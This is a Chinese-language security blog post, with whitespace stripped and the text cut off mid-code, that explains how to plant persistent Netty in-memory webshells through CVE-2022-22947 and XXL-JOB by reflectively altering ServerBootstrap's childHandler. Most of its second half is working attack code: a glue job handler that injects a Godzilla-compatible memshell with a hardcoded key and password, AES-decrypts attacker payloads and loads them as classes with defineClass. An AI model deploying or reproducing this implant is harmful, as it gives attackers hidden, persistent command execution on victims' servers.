handlerChannelDuplexHandler入站和出站事件均會觸發該handlerChannel (SocketChannel):可以理解為對Socket 的封裝, 提供了Socket 狀態、讀寫等操作,每當Netty 建立了一個連接後,都會創建一個對應的Channel 實例,同時還會初始化和Channel 所對應的pipeline。

Pipeline (ChannelPipeline):由多個handler所構成的雙向鍊錶,並提供如addFirst、addLast等方法添加handler。需要注意的是,每次有新請求入站時,都會創建一個與之對應的channel,同時channel會在io.netty.channel.AbstractChannel#AbstractChannel(io.netty.channel.Channel)裡創建一個與之對應的pipeline。

QQ截图20240613133905.png

構造netty內存馬的一個思路,就是在pipeline中插入我們自定義的handler,同時,由於pipeline動態創建的特性,如何保證handler的持久化才是關鍵,本文以此為出發點,嘗試探究netty內存馬在不同場景下的利用原理。

0x03CVE-2022-22947先來簡單回顧一下CVE-2022-22947是如何注入內存馬的,文中的核心是修改reactor.netty.transport.TransportConfig#doOnChannelInit,在reactor.netty中,channel的初始化位於reactor.netty.transport.TransportConfig.TransportChannelInitializer#initChannel。

關鍵點如下:

QQ截图20240613133921.png

config.defaultOnChannelInit()返回一個默認的ChannelPipelineConfigurer,隨後調用then方法,進入到reactor.netty.ReactorNetty.CompositeChannelPipelineConfigurer#compositeChannelPipelineConfigurer,從函數名也能夠看出,這個方法用於合併對象,將當前默認的ChannelPipelineConfigurer與config.doOnChannelInit合二為一,返回一個CompositeChannelPipelineConfigurer。

隨後調用CompositeChannelPipelineConfigurer#onChannelInit,在此處循環調用configurer#onChannelInit,其中就包括我們反射傳入的doOnChannelInit#onChannelInit。

QQ截图20240613134233.png

c0ny1師傅給出的案例,就在onChannelInit內完成handler的添加,由於反射修改了doOnChannelInit,後續有新的請求入站,都會重複上述流程,進而完成handler的持久化。

publicvoidonChannelInit(ConnectionObserverconnectionObserver,Channelchannel,SocketAddresssocketAddress){ChannelPipelinepipeline=channel.pipeline();pipeline.addBefore('reactor.left.httpTrafficHandler','memshell_handler',newNettyMemshell());}另外,從reactor.netty.transport.TransportConfig#doOnChannelInit的路徑也能看出,該場景依賴reactor.netty,並不適用純io.netty的環境,如xxl-job等場景。

0x04XXL-JOB對於純粹的io.netty環境,在XXL-JOB內存馬中給出的答案是定制化內存馬,核心思想是修改com.xxl.job.core.biz.impl.ExecutorBizImpl的實現,由於每次請求都會觸發ServerBootstrap初始化流程,隨即進入.addLast(new EmbedHttpServerHandler(executorBiz, accessToken, bizThreadPool));而EmbedServer中的executorBiz在僅在啟動時觸發實例化,在整個應用程序的生命週期中都不變,使用動態類加載替換其實現,就能完成內存馬的持久化。

QQ截图20240613134332.png

在文章開頭,作者也曾嘗試反射調用pipeline.addBefore,依然是上面所提到的問題,不過很容易發現,通過ServerBootstrap所添加的EmbedHttpServerHandler能夠常駐內存,如果我們想要利用這一特性,還需進一步分析io.netty.bootstrap.ServerBootstrap的初始化過程。

0x05 ServerBootstrap限於篇幅,這裡僅截取關鍵代碼,直接定位到pipeline創建完成之後的片段,首先io.netty.bootstrap.ServerBootstrap#init在pipeline中添加了一個ServerBootstrapAcceptor,需要注意一下這裡的childHandler,這也是一種持久化的思路,後續會繼續提到。

QQ截图20240613134401.png

此時pipeline在內存中的情況如下,可以看到已經添加了ServerBootstrapAcceptor。

QQ截图20240613134442.png

netty介紹部分提及過handler的channelRead方法用於處理請求,因此可以直接去看io.netty.bootstrap.ServerBootstrap.ServerBootstrapAcceptor#channelRead的實現,這裡ServerBootstrapAcceptor把之前傳入的childHandler添加到pipeline中。

QQ截图20240613134450.png

childHandler由開發者所定義,通常會使用如下範式定義ServerBootStrap,也就是添加客戶端連接時所需要的handler。

ServerBootstrapbootstrap=newServerBootstrap();bootstrap.group(bossGroup,workerGroup).channel(NioServerSocketChannel.class).childHandler(newChannelInitializer@OverridepublicvoidinitChannel(SocketChannelchannel)throwsException{channel.pipeline().addLast(.).addLast(.);}})由開發者所定義的ChannelInitializer最終會走到ChannelInitializer#initChannel進行初始化,調用棧如下:

QQ截图20240613134545.png

總結一下該流程,每次請求都將觸發一次ServerBootstrap初始化,隨即pipeline根據現有的ChannelInitializer#initChannel添加其他handler,若能根據這一特性找到ServerBootstrapAcceptor,反射修改childHandler,也完成handler持久化這一目標。

0x06內存馬實現在探究netty的過程中,發現這樣一篇文章: xxl-job利用研究,作者給出的EXP已經很接近完整版了,在文章的最後拋出兩個問題,一是'註冊的handler必須加上@ChannelHandler.Sharable標籤,否則會執行器會報錯崩潰',二是'壞消息是這個內存馬的實現是替換了handler,所以原本執行邏輯會消失,建議跑路前重啟一下執行器'。

這兩個問題很容易解決:

1、對於需要加入@ChannelHandler.Sharable這點而言,實測是不需要的,由於我們自定義的handler是通過new的方式創建的,理論上來講就是unSharable的。

2、反射修改ChannelInitializer導致執行器失效的問題,只需要給bootstrap添加一個EmbedHttpServerHandler就能保留其原有功能。

setFieldValue(embedHttpServerHandler,'childHandler',newChannelInitializer@OverridepublicvoidinitChannel(SocketChannelchannel)throwsException{channel.pipeline().addLast(newIdleStateHandler(0,0,30*3,TimeUnit.SECONDS))//beat3N,closeifidle.addLast(newHttpServe rCodec()).addLast(newHttpObjectAggregator(5*1024*1024))//mergerequestreponsetoFULL.addLast(newNettyThreadHandler()).addLast(newEmbedServer.EmbedHttpServerHandler(newExecutorBizImpl(),'',newThreadPoolExecutor(0,200,60L,TimeUnit.SECONDS,newLinkedBlockingQueu enewThreadFactory(){@OverridepublicThreadnewThread(Runnabler){returnnewThread(r,'xxl-rpc,EmbedServerbizThreadPool-'+r.hashCode());}},newRejectedExecutionHandler(){@OverridepublicvoidrejectedExecution(Runnabler,ThreadPoolExecutorexecutor){thrownewRuntimeExc eption('xxl-job,EmbedServerbizThreadPoolisEXHAUSTED!');}})));}});實戰中的利用還需兼容webshell管理工具,對於CVE-2022-22947而言,已有哥斯拉的馬作為參考,可直接在NettyMemshell基礎上稍作修改,需要注意的是,馬子裡的channelRead方法不能直接使用,問題出在條件判斷處,msg很有可能即實現了HttpRequest,也實現了HttpContent,因此走不到else中的邏輯,修改方式也很簡單,去掉else即可。

QQ截图20240613134637.png

目前實測下來,姑且認為不影響正常的功能,pipeline在內存中的情況如下:

packagecom.xxl.job.service.handler;

importcom.xxl.job.core.biz.impl.ExecutorBizImpl;importcom.xxl.job.core.server.EmbedServer;importio.netty.buffer.ByteBuf;importio.netty.buffer.Unpooled;importio.netty.channel.*;importio.netty.channel.socket.SocketChannel;importio.netty.handler.codec.http.*;importio. netty.handler.timeout.IdleStateHandler;importjava.io.ByteArrayOutputStream;importjava.lang.reflect.Field;importjava.lang.reflect.Method;importjava.net.URL;importjava.net.URLClassLoader;importjava.util.AbstractMap;importjava.util.HashSet;importjava.util.concurrent.*;

importcom.xxl.job.core.log.XxlJobLogger;importcom.xxl.job.core.biz.model.ReturnT;importcom.xxl.job.core.handler.IJobHandler;

publicclassDemoGlueJobHandlerextendsIJobHandler{publicstaticclassNettyThreadHandlerextendsChannelDuplexHandler{Stringxc='3c6e0b8a9c15224a';Stringpass='pass';Stringmd5=md5(pass+xc);Stringresult='';privatestaticThreadLocalAbstractMap.SimpleEntryprivatestaticClasspayload;

privatestaticClassdefClass(byte[]classbytes)throwsException{URLClassLoaderurlClassLoader=newURLClassLoader(newURL[0],Thread.currentThread().getContextClassLoader());Methodmethod=Clas sLoader.class.getDeclaredMethod('defineClass',byte[].class,int.class,int.class);method.setAccessible(true);return(Class)method.invoke(urlClassLoader,classbytes,0,classbytes.length);}

publicbyte[]x(byte[]s,booleanm){try{javax.crypto.Cipherc=javax.crypto.Cipher.getInstance('AES');c.init(m?1:2,newjavax.crypto.spec.SecretKeySpec(xc.getBytes(),'AES'));returnc.doFinal(s);}catch(Exceptione){returnnull;}}publicstaticStringmd5 (Strings){Stringret=null;try{java.security.MessageDigestm;m=java.security.MessageDigest.getInstance('MD5');m.update(s.getBytes(),0,s.length());ret=newjava.math.BigInteger(1,m.digest()).toString(16).toUpperCase();}catch(Exceptione){}returnret;}

@Override//Step2.作為Handler處理請求,在此實現內存馬的功能邏輯publicvoidchannelRead(ChannelHandlerContextctx,Objectmsg)throwsException{if(((HttpRequest)msg).uri().contains('netty_memshell')){if(m sginstanceofHttpRequest){HttpRequesthttpRequest=(HttpRequest)msg;AbstractMap.SimpleEntryrequestThreadLocal.set(simpleEntry);}if(msginstanceofHttpContent){HttpContenthttpContent